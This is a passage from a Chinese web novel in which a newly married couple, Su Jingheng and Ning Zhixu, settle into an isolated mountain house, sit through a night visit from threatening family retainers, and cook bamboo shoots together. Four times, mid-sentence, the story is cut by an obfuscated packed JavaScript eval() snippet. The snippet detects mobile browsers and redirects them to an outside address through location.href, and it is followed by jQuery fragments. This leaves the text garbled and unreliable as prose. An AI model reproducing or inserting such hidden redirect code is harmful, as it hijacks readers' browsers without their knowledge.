宁知序在屋门前把她拦住,不可置信地道:“别忘了堂屋里还有个人。”
苏静蘅不是很在意:“醒了就再把他拍晕呗,顺手的事。”
宁知序:“……”
苏静蘅看他欲言又止的模样,叉腰申辩说:“你别以为我是那种因为一点小事就害怕的人,这人被捆着呢,我怕他做什么?还有你说山间有狼,比狼跟可怕的我也见过——讨债的人你有没有瞧过?各个拿着大刀棍子来家里砸东西要钱,他们再厉害最后不还是被我摆平了?除了你们宁家家大势大,不要钱只要人,关着我不让我走,我——”
她说着说着声音越来越小,一抬头见宁知序眸中瞬间染上另一种颜色,不禁闭嘴。
“……”
宁知序叹了声气,无言从苏静蘅手里接过席被,放在堂屋桌上,接着又去找了几块木板拼成床板,苏静蘅跟在他身后说:“反正我不怕,有个遮风挡雨的地方给我睡觉就行,哎你不用动了,我自己收拾就行。”
宁知序蓦地停下。
他定定看着苏静蘅,沉默良久,认输地说:“我错了,我不该跟你开玩笑,你就安心在东屋住着,我睡堂房,这人醒了我把他拍晕,有狼来了我跟它决斗,不用你来做,一切都包在我身上。”
说着,装模作样冲苏静蘅作了抱拳歉礼。
“可是——”
可是这样不太好吧。
她是那种爱占别人便宜的人吗?
虽然隔壁那间屋子确实破了一点,堂房到隔壁的这扇门也确实看起来不是很结实,一推就倒很容易,如果有狼来的话很容易冲破房门把她叼走。
可是她真的不是那种贪生怕死的人啊。
她也不介意到堂房打地铺,又不是让她顶着星星月亮吹着冷风睡觉,这里有席子有被子,什么都不缺,她睡哪都行。
苏静蘅欲言又止,似乎很是难为情:“可是我觉得这样真的不太好……不过如果你硬要睡堂房,我也不能难为你,宁公子是大方的人,我若是不让你睡,你心里大概也会不舒坦,这样吧,屋里那些被子都给你,你多铺几层,如果遇见狼也千万记得叫我,我自小上房揭瓦爬树掏蛋,也算是习过武,定能帮你把狼赶跑。”
“……”
宁知序听了她的话,实在忍不住笑。
他说不清这种感觉,总之她越是得寸进尺,自己就越高兴,
在宁家这几年,厌恶他的面容见了不少,攻击责骂的话听了不少,偶尔能听见几句好话,也不过是看在他大哥面子上的假客套。
比起那些认为他命中不详的人,苏静蘅不以嫌弃厌恶的目光瞧他,对他来说已经算是一件极为难得的幸事了。
宁知序眸中的笑意愈发明显,苏静蘅假装没看见他的笑,自告奋勇帮他再收拾几床被子出来,顺便把她拿出来的那床被子换回去,将那床颜色鲜亮的龙凤被单独拿给他。
宁知序斜着身子,右手靠在桌子上,静静看她忙前忙后,热心帮自己铺被子。
苏静蘅一边铺一边说:“幸好你家送来的被子足够我们两个人分,嗯,这几条被子的料子也不错,这个大红色的最好看最衬你!留着给你盖,剩下的我给你铺在下面,啧,看看这龙凤呈祥的样式,也只有人中龙凤的宁公子配盖了!”
宁知序:“……”
苏静蘅继续说:“你家送来的枕头也挺软和的,我再帮你拍一拍,拍拍还能更软一些!”
“……”宁知序又嗯一声,看她两只手如拿刀切菜一般,对着枕头拍了两个来回,然后工工整整放好。
回过头来,他冲她一笑,她也冲他一笑。
“也是现在天暖和了,要是冬天,定然是不能让你在外边睡的。”
“哦?”宁知序若有所思地点头,问,“那若是冬天,我应该睡哪?”
苏静蘅一噎,短暂思考过后说:“自是睡东屋了。”
她没说自己到时候是睡破了顶的西屋,还是睡堂房,抑或是是厨房,反正宁知序没再继续往下问,她也就懒得动脑子去想。
她在这儿住不了多久,等找到了合适的落脚地便会离开,到时候不管是堂房厨房还是东西两屋,都和她没关系。
屋里灯火昏暗,宁知序扬眉说了一声“多谢”,然后去屋子角落翻出一个布包,一边从包里翻东西,一边头也不抬地跟苏静蘅说:“时候也不早了,床铺都已经收拾好,你早些睡吧,有什么事明天再说。”
“……好。”
苏静蘅回到自己屋,将门阖上,再想加一道门档,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319103|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却发现这屋子的门档早已坏了,她环顾四周,只有身后的桌子看起来结实一些,她将木桌移到门后紧紧抵住方才安心,随后拿出宁知序给她的那盒药膏,坐在床上仔细给自己上药。
脚腕伤得不算太严重,应该要不了两天就能恢复。
涂完药膏,苏静蘅松一口气,仰躺在床上看着崭新的床帐,听着自己清晰的呼吸声,心里恍惚间产生一阵鼓鼓囊囊的安逸感。
她捂住胸口,喃喃自语道:“这宁二郎模样长得倒是不错,性子看起来也是好,只是不知道是不是装出来,他若是个极善伪装,穷凶极恶坏人,那我——”
她话没说完,隔壁忽然悠悠传来一道声音,打断她的思绪:“我真的不是坏人……”
苏静蘅:“……”
“我若一定要对你做些什么,今日便不会大费周章做这么一出。”
宁知序说着,咳嗽两声,“这房子的隔音不大好,苏姑娘有什么心事,还是摆在心里比较好,不然——”
苏静蘅睁大双眼捂住嘴,没有做出回应。
屋外此刻传来几道脚步声,宁知序神色一凛,立刻压低声音对她说:“我出去看看。”
苏静蘅也来不及尴尬,立刻起身趴在窗户上观察外面的情形。
黑夜之中,几个人影突然出现在门口,宁知序出了屋子,为首的人看见他上前行了个不恭不敬的礼,道:“二公子。”
宁知序点点头,带着他们走得远了一些,于是谈话的内容传到苏静蘅耳朵里,便只剩几个勉强才能分辨出来的字音。
那黑影很不客气地说:“二公子今日所为……我们大公子说……若是……那可别怪他……”
苏静蘅听得实在是费力,刚想挪开木桌出去看看,又听见那人提到了她的名字。
她顿在原地,外面的人似乎在这一瞬间都将目光聚在眼前的窗户上,四周陷入诡异的寂静之中。
苏静蘅后背一凉,紧接着听见宁知序的声音:“大哥多虑了,是我早就恋慕苏姑娘,一听与我成亲的是她,不论如何也要亲自去接她,这事也怪我,从前没和大哥说清楚,如今我既娶得佳人归,又顺了大哥的意思能替宁家做些事,也算阴差阳错,一举两得,多谢大哥替我考虑,待大哥病好些,我一定带娘子回去叩谢。”
他的声音不大,但很清亮,一字一句都清晰地落入苏静蘅的耳朵里。
黑影道:“不必,我们大公子还是相信……若她跑了,那你的……到时候没人替你收尸。”
宁知序未做申辩,沉默许久之后,又与他说了几句“放心”之类的话,那黑影点点头似乎不再怀疑,很快携人离去。
苏静蘅推开木桌打开门探着脑袋与刚进屋的宁知序打了个对视,她想问那些人到底与他说了些什么,然而宁知序只是温和地冲她一笑,安抚道:“别担心,他们都走了,你在这里安心住着,什么时候想离开便离开,不会有人拦着你的。”
5. 山居(一)
苏静蘅记着宁知序对她说的话,入了梦,再一睁眼,竟真是到了自己离开的那一天。
她高高兴兴地收拾行李,想与宁知序道谢,多谢他这些日子的关照,出了屋子,却是一个人影都看不见。
天色昏暗,漫天大雾,她顺着小路一直跑,总算在路尽头看见几个人影。
风吹来宁知序的声音,飘摇入耳,字句模糊。
雾中黑影冲她挥动手臂,有人一声一声叫着她的名字,她不停地跑着,冲破迷雾,天边弥漫着诡异的金色光芒,那几个人就站在眼前,然而还是看不清他们的脸。
只有宁知序,穿着一身鲜亮的红衣站在几人中间,声音依旧是那般温和,对她说:“你走吧,不要再回来了。”
走?去哪儿?
苏静蘅仔细回想,无论如何都想不起自己到底是谁,从哪儿来,又要去哪。
她只记得自己成亲那日,刚出家门,便瞧见无数双眼睛刻薄地盯着自己,看热闹的人群里时不时传来几声笑,无望之际一道哨声打断她混乱的心绪。马鸣萧萧,隔着大红色的盖头,一个朦胧的虚影停在她面前,她依稀能看见那少年好奇地俯首,似乎是想偷看她的面容。
众目睽睽之下,她不敢有反应,只是悄悄侧过身,少年见状忽然一笑,站直身子便问她要不要与自己一同离开。
四周一片哗然,她纠结了一下,而后毫不犹豫将手递过去,接下来城外景色从眼前历历而过,一切如一场梦,穿过春日新绿,转瞬之间便到了眼下雾气弥漫,气氛诡异的无人境地。
苏静蘅望着那几道黑影,如同失声一般,喉咙里挤不出一个字。
“你走吧。”
宁知序略显沙哑的声音再一次响起,她摇头刚想说不,那几个黑影忽然狞笑着从身后抽出几把骇人的刀架在宁知序的颈上。
她睁大双眼朝着宁知序伸出手,眼前的面容终于渐渐清晰,然而上天没给她反应的机会,那几道黑影齐齐挥刀,手起刀落一刹那,大片的鲜血渐在自己身上。
少年的头颅滚落脚边,她定在原地,窒息感瞬间将她淹没。
几道闪电从天边划过,天空传来几声巨响,她从梦里惊醒,大口地喘着气。
“咚咚——”
又是几道敲门声,她捂着心口向门边看去,随即听见宁知序在门外温声问她:“苏姑娘,你起了吗?我煮了粥,趁现在还热着,要不要起来吃一点?”
外面天光大亮,不知几时。
苏静蘅缓过神连忙起身去开门,宁知序换了一身灰色粗布衣裳,额间绑着一根靛青色的抹额,额边碎发尽数被束着,看样子已经起来干了不少活儿。
“你怎么——”
宁知序叉着腰精气神十足地站在门口,看见苏静蘅的样子,欲言又止。
他没料到苏静蘅会以这幅模样开门——穿的还是昨天那身料子不太好的嫁衣,顶着一个鸡窝头,睡眼惺忪地扶着门框,顺着他的声音低低哼了两声,而后努力睁大眼睛问他:“现在什么时辰了?你怎么起得这么早?”
“刚过辰时。”
宁知序捂嘴轻咳两声,默默移过视线,侧首盯着门边地缝看,他的声音越来越小,对苏静蘅说道,“咳咳,你快些洗漱吧,我做了早饭,趁热一起吃。”
“好。”
苏静蘅点头,对他说了声“谢谢”,踉踉跄跄地回到床边坐下,又望着窗户发了一阵呆,才彻底醒神。
昨夜那几个不速之客扰得她不安了半宿,后来不知是什么时候睡着的,以至于做了噩梦突然被吓醒,心脏如今还在砰砰跳个不停。
她赶紧将衣服换下,这时宁知序又在隔壁堂屋对她说:“我准备了热水,要不要帮你端进屋?”
“不用,我自己来就行!”
“行。”
宁知序放下热水在屋外等着,等苏静蘅洗漱完毕,走出屋子,他正搬了两个凳子放在檐下。
初春的早晨还是有些凉,宁知序听见她的声音没抬头,只是拍了拍那两个木凳的腿对苏静蘅说:“这两个凳子坏了,腿不结实,待会儿我修修,你千万别坐,小心摔个跟头!”
苏静蘅走到他身后,匆匆瞥了凳子一眼,轻嗯一声,然后问他:“屋里那人呢?回去了?还有你的马,也被他们带走了?”
宁知序道:“昨夜我让他们送些平日要用的东西过来,早上来的时候他正好醒过来,我就叫他们把他带回去了,至于那马,不是我的终归留不住,也被他们带走了。”
听他的语气挺可惜。
苏静蘅能理解,毕竟这里离洛城不算近,没了代步的工具,想要进城一趟至少要走半个时辰。
她想了想出声宽慰他:“就算留了,我们现在也养不活它,等你日后有钱了,买个牛,能耕地还能背人。”
宁知序听她这话,似乎赞同地点了点头。
不过他们没地,压根不需要牛来耕地,真有钱倒不如买头驴,将来想要拉磨便用不着自己动手了。
苏静蘅一瘸一拐地走进厨房,看见桌上放着包子,一点不客气,搓搓手便坐下。
宁知序慢吞吞进屋,见她动手分包子,又殷勤地给自己盛粥,道了声谢,先吃起来。
苏静蘅依旧是看他先动嘴自己才吃,她潇洒地吃了满嘴,也不问宁知序今天的包子是从哪里来的,反正能吃就行。
粥尝起来是甜的,不知里面加了什么东西,味道倒是好吃。
宁知序一边吃一边解释:“他们倒是送了不少好东西过来,乱七八糟什么都有,柴米油盐如今都不缺,还有一些红枣枸杞之类宁府里不缺的补品,不过不多,吃几次大概就没了,嗯,也不能指望长久地靠宁家的人活着,日后还是要自己想办法弄些东西……”
他后面的话是说给自己听的,苏静蘅静静听着,半面脸埋进碗里,一双明亮的眼睛盯着宁知序看,宁知序又冲她笑笑:“这事用不着你烦神,等他们送来的东西用完,你大概已经找到落脚的地方从我这儿搬出去了。”
苏静蘅吃饭的动作定住,想到昨夜做的梦,不由得垂眸掩住神色变化。
宁知序继续说:“吃完饭我去山里看看——对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319104|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,这屋后面有条河,方便你打水洗衣,若是闲得无聊,可以顺着河水散散步。”
他指了指门后的棍子,又道,“你脚伤得不重,我给你做了个拐杖,简陋是简陋了点,但能用,总之你不要走远,我看一圈很快就回来,中午给你做我拿手的菜。”
苏静蘅扭头仔细看过去,门边果然靠着一根新制的拐杖。
虽然手艺比不上那些专制拐杖的手艺人,但比起一般的棍子已然算得上精细。
尤其是拐杖顶端那一处握柄,线条流畅,一看便是精心打磨过,大约是怕木头磨伤她的手,他还贴心地在握柄上裹了一层布。
拐杖主体笔直结实,握柄与主体连接处刻着一个“苏”字,苏静蘅见了不知为何心里一阵泛酸,却没表现出来,她吃完饭端起碗说:“我去洗碗吧,你要上山便上山,只是小心一些,别被狼叼走了!”
“当然不会。”
宁知序喝完最后一口粥,起身把拐杖拿到苏静蘅面前,然后接过她手里的碗,道,“我洗碗洗习惯了,一日不洗心里难受,这边就交给我吧,你去歇着。”
“……”
这世上还有这样的人啊……
他是不是被宁家人折磨得脑子都坏掉了,有偷懒的机会都不要,竟然主动干活。
苏静蘅伸手拿过拐杖,一言不发地看着宁知序刷锅洗碗,结束后方才跟着他一起走出厨房。
宁知序生怕她不知道,用手指了指屋子后面:“就在那儿,河里还有鱼,你若是喜欢可以捞了玩。”
“……”
这人是把她当小孩呢。
他一片好心,苏静蘅不好意思说“不”,只好拄着拐杖一瘸一拐地往宁知序说的方向去,到了河边,她回头,果然见宁知序提了斧子锄头顺着屋前小路向山上走。
她亦顺着河水往上游去,但没走多远,便在河边找了一处方便坐的圆石坐下。
河水清澈见底,鱼苗儿成群结队从她面前游过,她的心思不在眼前,视线始终随着宁知序向着山林深处而去。
山林间树木晃动,宁知序行走的路线清晰落在苏静蘅眼里,这一处山头不高,直到他越过山头往背面去,山间林木的动静方才歇下来。
天边朝日升起,春寒被渐盛的日光逼退,暖意愈发明显,苏静蘅抱着拐杖干脆侧躺在这一方巨大的圆石上。
等了许久,还不见宁知序从山里归来,她换了个姿势,继续等着。
又等了一会儿,山里仍然没有动静,她终于有些急了,拿起拐杖琢磨着怎么样才好上山。
要是真碰上什么野兽,他一人肯定打不过!
自个儿赤手空拳去了大概也不行,苏静蘅打算回去找个菜刀再去找他,她甩着拐杖朝家里走,这时对面山头传来声音,她在屋后站定,很快,便看见宁知序拖着几根竹子从山里出现。
他原走得很慢,一看见苏静蘅站在屋后,似乎是在等着他,立刻加快步子,边走边向她挥手,兴奋喊道:
“对面山上有好大一片竹林,我用竹子给你做个篾篓怎么样?!”
6. 山居(二)
宁知序看她没什么反应,以为她没找见自己,又冲她唤了一声“蘅娘”。
苏静蘅挺直腰板诧异地望过去。
她不明白他为什么看见竹子第一反应是给自己做个篾篓。
更想不明白他为什么要叫自己“蘅娘”。
其实宁知序也没想明白。
他只在年幼时来过此地两次,爹娘喜欢山水风光,闲暇时常到这里居住,却从来不逼着他一起常住。
他们说忆苦思甜未必是坏事但也未必是好事,前人栽树后人乘凉,宁家家大业大,没必要让一个孩子跟着他们去田间吃苦。
所以他少时来此处,只是因为刚学读书,家中教书的夫子提了一句“野竹分青霭,飞泉挂碧峰”,一直生长在宁家大院的他哪见过什么叫“青霭”什么叫“飞泉”,对此心中十分好奇,向爹娘提了这事之后,他们立刻携他到山间来看所谓的“竹”、“霭”、“泉”、“峰”。
住在这里几日,爹娘日日背着他去山后那片小竹林闲逛。
山竹翠绿,三人成行,娘诵诗,爹解意,什么“涧水无声绕竹流,竹西花草弄春柔”,“碧林青旧竹,绿沼翠新苔”,凡入眼入耳者更入心,到今日他依旧记得那时的情景。
竹子是雅俗能赏的好东西,从不嫌贫爱富,他现在不是宁家娇生惯养的公子哥儿,自然是没那个赏竹的闲心。
初来此处学竹的心境不在,他满脑子只想以笋充庖,以竹为用。
至于为何偏要给苏静蘅编个背篓——没什么特别的原因,他总不能见了苏静蘅,大喊:“这边有好多竹子,我砍两根回来给你编个竹匾!”
竹匾有机会是要做的,可说出来一点都不含蓄,还是背篓好,听着便精致小巧,也很实用,能随身带着。
给她做一个她一定喜欢。
而“蘅娘”这个称呼,也是临了脱口而出,下意识叫出来的。
但所有的下意识都是深思熟虑后的结果。
叫她“苏姑娘”显得太生疏,让人浑身不自在,笨拙如宁知序,平日在宁府后院见不到什么姑娘家,唯有年少时常听父亲以“婉娘”唤母亲,亲近又不显僭越,他学着这么叫,想必是合礼的。
苏静蘅站在屋后,看着他从旁边小路往屋前去,原地思忖片刻之后拄着拐绕到屋前迎他。
宁知序笑得十分刻意,见她没什么太大的反应,才放松下来,对她说:“山后有一片竹林,我想着去看看能不能挖点笋回来,到那一看竹子长得不错,又忽然想起来我们这边缺些日常用具——洛城那边只送了些吃的和衣物过来,其余还是要我们自己解决,这几年我在后院跟着院里的几个老仆学了不少东西,恰好会点竹编手艺,我给你编个背篓怎么样?或者做个提盒,日后你要是走了,装东西也方便一些。”
他这是在没话找话说,苏静蘅听出来了。
她沉默地凝视他拖来的竹子,然后看他解开背上的布包,从里面倒出几头春笋,眼睛这才开始发光。
宁知序见状,看看竹子又看看笋,明白还是食物对她的吸引力更大一些。
他甚是无奈,苏静蘅蹲在地上一手抓一个笋,仰起脸对他说:“所以我们中午吃笋?”
天上阳光不算太强烈,但要顶着太阳看清楚宁知序的神色还是有些困难,苏静蘅眯着眼,没等到宁知序的回答,却见他低头冲自己歪了歪脑袋,目光里隐隐荡漾着不一般的情绪。
她抬手遮住阳光,宁知序忽然后退一步,慢慢在她面前蹲下,以与她持平的姿势回答:“是啊,吃笋,油焖笋片,春笋鸡汤,我都会做,不过你要是不喜欢我们可以换,换成你想吃的。”
苏静蘅只听见一个“鸡”字,刷的一下伸长脖子,狐獴一般四处看去:“鸡?鸡在哪儿?”
宁知序指了指厨房。
苏静蘅轻嘶一声。
那可是鸡啊,她好久没吃过鸡肉了,平日里想都想疯了,厨房有鸡,她怎么没看见!
宁知序道:“是杀好的鸡,不是活的。”
在东墙窗户下的桌子上,靠着灶台,她早上只顾着面前的早饭和他新做的拐杖,其他东西都入不了她的眼,自然是没瞧见。
“噢。”
苏静蘅若有所思地哦了一声,之后小声问宁知序,“那鸡也是你从宁家偷来的吗?”
宁知序学着她的声调压低声音用气声回答:“不是,是他们今天早上送过来的,偷来的鸡多不新鲜!”
苏静蘅再一次小声问:“他们竟这么好心,还给我们送鸡?”
宁知序依旧小声回答:“都是直接从厨房收拾来的,有什么就送什么,只有一只鸡,是宁府的厨子早上杀的,顺手丢过来了,不能放太久,所以我们今天就把它吃了。”
事出反常必有妖,昨夜那些人对他说话一点都不客气,今日竟还送那么好东西过来。
苏静蘅异想天开地问:“他们不会在鸡里下毒吧?”
“……”
宁知序很确定:“不会。”
“为什么?”
“你和我们家的人又没仇,他们没事毒你干什么?而且在鸡里下毒——啧啧,哪用得着这么麻烦。”
苏静蘅:“……”
宁知序道:“还有,我大哥是生病身体不好,又不是脑子不好,杀了你对他有什么好处?他不会想不开给自己找不痛快,就算要杀也是杀我一个人,毕竟我是个丧门星。”
苏静蘅连呸两声,说道:“呸呸!不许说自己是丧门星!”
“行。”宁知序略过这个话题,随口道,“不过就是真有这种可能,要不了多久你就走了,还管他杀不杀我。”
“……”
宁知序用开玩笑的语气说出这句话,可苏静蘅并没把他这句话当成玩笑,她僵在原地,顿时觉得自己浑身发凉,好像有一阵阴风从背后刮过。
她心里一直觉得怪。
直到现在宁知序说出这句话,她才明白到底怪在哪里。
世人说宁家二郎不详,宁家老爷过世之后,除了宁府的人,再无其他外人见过宁知序,外界对他的谣言愈传愈过分,宁府的人不在意,他也不曾出面。
他只活在旁人中伤的言语里,是生长在阴暗缝隙里的草,所以即便她不信这些,可听多了流言蜚语,见面之前她仍觉得宁家二郎会是一个性格阴冷,不善言辞的人。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319105|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>撇去所谓的“煞星命格”不说,仿佛只有这样的性格才配得上他的遭遇——或者说,他的遭遇就应该让他变成一个沉默阴冷,不愿与外人结交的人。
她这样不抱希望地与他见了面,在城外揭去盖头的那一刻,她方知她的“以为”,她的“想当然”都是错的,而且错得十分荒唐。
他爱笑,爱说话,那双明灿的眼睛盯着自己看的时候,似乎这世间任何不好的事都与他沾不上边。
便是不说话,只站在那儿不动,他也是笑吟吟的,就像冬天火堆烧出来的火苗,在黑暗中窜来窜去,总让她忍不住去看,忍不住去靠近。
可所听是假,所见更是并非为真。
他一点没脾气,这样淡然接受自己的境遇,甚至毫不避讳地提及自己的“死”,好像明天真的死了也无所谓。
他对自己冰冷的态度与对他人的温和耐心截然相反。
他好像有些麻木。
他怎么会麻木?
突如而来的冲击而导致的疑惑让苏静蘅感到十分不适。
她有许多话想问,却怕冒犯他。
宁知序此刻站起来,这么一遭聊下来,他似乎很高兴,两个人说像悄悄话一样,面对面蹲在地上有来有回地聊这几句,看起来不太正常,可他偏偏喜欢。
当旁人嘴里的“不正常人”久了,这下有个人同他一起做莫名其妙的事,心里自然痛快。
宁知序说:“我去将这笋处理了,你就在这好好想想是要背篓呢,还是提篮,或者是其他的,给你编个竹兔子也行,反正该有的总要有,不必急于一时。”
他捡起地上的笋抱在怀里,又弯腰从苏静蘅手中将那两个笋也接过来,然后转头往厨房去。
苏静蘅望着他的背影,连忙捡起地上的拐杖一瘸一拐地追过去。
刚进厨房,宁知序听见身后传来的动静,回头看去,苏静蘅扶着门框眼巴巴地看着他,她嘴唇微微翕动,几番开合,最后说:“我可以帮你烧火哦。”
说完这一句,屋里陷入寂静。
宁知序有些不敢相信地瞪大眼睛,应当是对她的语气感到震惊。
自打他们二人见面,还没听过她用这样温柔俏皮的声音说话。
她怎么了?
难道因为几头笋就对他献起殷勤了?
噢,不对,一定是因为那只鸡!
可是她就算想吃鸡也不至于这样跟他说话吧,那鸡又不会跑了!
宁知序没说话,苏静蘅见状急了,恢复之前没耐心的样子,拿着拐杖在地上敲敲:“我说我可以帮你烧火!你要不要我给你烧火!你不要我就出去晒太阳了!”
“要要!”
宁知序猛地回神。
他难道有另外一种选择吗?
若他说不要,她肯定会说:“不要就不要,我还不乐意帮你了!你自己烧去吧,待会儿忙不过来的时候可别来求我。”
想到这儿宁知序扯着嘴角摇头轻叹。
果然,他还没来得及说其他,下一刻苏静蘅就用着他脑袋里一模一样的语调自言自语说:“这才对么,你要是说不,我以后就都不帮你了,你求我我也不帮。”
7. 山居(三)
这一处宅子虽然地处偏僻,且荒废多年无人打理,但好歹是宁家的地儿,再怎么破烂,简单收拾过后也比寻常人家好一些。
厨房里该有的东西都有,暂时也不缺柴火,苏静蘅还要帮忙做其他的事,宁知序却拦住她,道:“你烧火就成,其他的不用你做。”
他始终一副不慌不忙的样子,说完就专心自己手中的事情,淘米洗菜,百忙之中不忘伸脚将旁边的矮凳勾到苏静蘅面前,然后冲着她眉梢一扬,用不着多说,苏静蘅明白他的意思:先坐着歇会儿,烧火儿的时候叫你。
苏静蘅抿抿唇,显然有些不大愿意。
除了烧火其他什么事都不要她做,自己一个人干坐着也挺无聊的。
宁知序将那几头笋简单处理一下,回头拿刀的功夫看见她耷拉着眼皮子站在身后百无聊赖地抠拐杖上的刻痕,心思一动,主动与她说话:“其实我们两个的亲事——”
苏静蘅耳朵竖起,抬眸看见宁知序侧身对着她,面前放着一块案板和清理过的笋头。
他一手握住竹笋尖稍,一手握刀,指节微弓,短刃在笋壳根部轻轻旋转,一道裂缝瞬间沿着纹理绽开。
刀尖抵住裂缝再向上一挑,笋壳层层剥落,日光顺着窗口照在案板上,青白笋肉在光中泛起温润的光泽。
他动作干脆利落很是熟练,头也不曾抬,继续对她说:“我们两个的亲事,你真的不用太放在心上,宁家那边你不用管,其实他们也没把这门亲事当真。”
他看出来苏静蘅心中有些疑惑和犹豫,思来想去还是要将此事跟她说清楚。
免得她上一刻还高高兴兴地与人说话,下一刻就忽然陷入恐慌面色凝重。
苏静蘅满脑子都是昨夜听见的那些断断续续威胁他的话,道:“怎会?我昨夜明明听见他们要挟你了!”
宁知序闻言动作稍顿,两肩一沉,似乎是在想要怎么与她说。
顿了一会儿,想清楚了,继续手下的动作,道:“我原先也是不清楚他们的态度,昨夜过后反而清楚了,若他们将此事当真,就绝不会那样轻易地放我们两个人待在这儿。”
“那些威胁的话我听得多了,从来没有成真的时候,所以你不要因为那些话害怕。”
苏静蘅:“……”
腕骨随着手下的动作上下起伏,宁知序没看她是何神情,自顾自地说下去:“这事虽是我大哥做主,但先提起的人是我三叔。”
三叔?
宁知序道:“他这人平时形迹疯癫,又信些神神鬼鬼的事,前些日子从外面寻了个算命的回来,说是法力高深的大师,要他算一算宁家的劫数。”
“那算命的进了宁家,掰掰手指,冲进后院指着我就说我有问题。”宁知序叹气。
正巧他那时在偷懒,钻在柴火堆里睡大觉,就这么被逮了个正着。
劈头盖脸一顿骂不说,那个算命的绕着他跳了半天大神,后来又被关进柴房听候发落,闹得他连晚饭都没吃。
“我三叔对此深信不疑,但我大哥人前还是会替我说两句话。”
苏静蘅一下子抓住重点:“人前?”
宁知序点头:“家里人这些年对我不满,此事一出更是人心惶惶,我大哥替我说两句好话,但都是面子上的功夫,结果如何他不在乎,家里人既然为此事担心,他思来想后还是答应顺着那算命的意思做,这样才能安抚人心。”
“照你这么说,他干嘛一直把你留在宁府,放你出去多好!你自立门户,自己过自己的日子,他们也见不着你,这才是皆大欢喜!”
宁知序闻言手里刀一偏,对着食指划了一道口子,他倒抽一口气,苏静蘅见状连忙问:“你没事吧?是不是划着手了?”
“没事。”
宁知序生怕她不相信,转头伸手给她看,“喏,一点点口子,不妨碍做事。”
“我不是那个意思……”
苏静蘅撇着嘴坐回去不说话。
宁知序立马笑着说:“我说的也不是你想的那个意思。”
苏静蘅:“……”
他将切好的笋洗净放入碗中,之后将宁家送来的那只处理了一半的鸡拿到灶前,撸了撸袖子用刀将鸡身依次分解,去了鸡腿鸡翅,将鸡胸肉剔骨切块,同时对苏静蘅说:“‘丧门星’这个名号呢是近两年才有的,之前我的名声可没这么响亮。”
他这么一说,苏静蘅才想起来,好像确实是这两年才听说宁家二郎命中带煞,在此之前那两年他待在宁府从未出现过,整个洛城根本没人在意他。
宁知序耐心解释:“我爹刚过世的那一年,府里乱七八糟,没人管我,便先将我关起来,过了几个月一切安排好了,才想起府里还有我这么一个人,一群人围着我,当我是个没人要的物件,想着要怎么把我处置了才算合理。”
到这里苏静蘅已经有点听不懂了,问道:“不都是一家人么?你爹一死他们做事就那么绝情啊?”
“偏偏我这个没人要的物件是洛城人皆知的宁二公子,把我丢出去肯定是不行,他们也不能对外说我不是我爹亲生的。”
“啊?”
宁知序说到这儿才想起来回答她那个问题,摇头说:“不是一家人,我与洛城宁家没有半点关系。”
“啊?”
苏静蘅捂住脑袋,满脸混乱,双目盯着他好似在说:“你在说什么我怎么听不懂了?”
宁知序停下手中的动作,转头看着她。
他料到她会是这幅模样,亲眼见到,沉默一会儿就开始憋不住笑。
苏静蘅见他一点都不在意,反倒是自己乍一听这个消息心脏咚咚跳,耳朵一红,赶紧说:“别笑了!”
宁知序还在笑,她干脆起身跑到灶台后烧火去,宁知序这时才清清嗓子继续往下说:“这事外人都不知道,甚至宁家知道的人也不多。”
“那你就这么跟我说啦?”
“嗯哼。”
宁知序一只手垂在身侧,另
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319106|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一只手拨弄着刚切好的肉块,时不时掀起眼皮子看她,“宁家是靠着我爹起来的,他出生苦,小时候住在山里,家里三个弟弟一个妹妹,吃不饱穿不暖,八岁的时候离家进城做学徒,干到二十岁才勉强出头得到师父赏识。”
他这里说的“爹”自然是去世的宁老爷。
山里来的穷小子苦熬数年一路过五关斩六将成了洛城最有钱的人,一家人跟着他鸡犬升天。洛城里但凡有孩子的人家都要把这故事添油加醋地说给孩子听,尤其是那些读书不好的,爹娘都盼望着他们在其他事上长些本事。
苏静蘅小时候也听爹跟她说过。
但情况稍有不同。
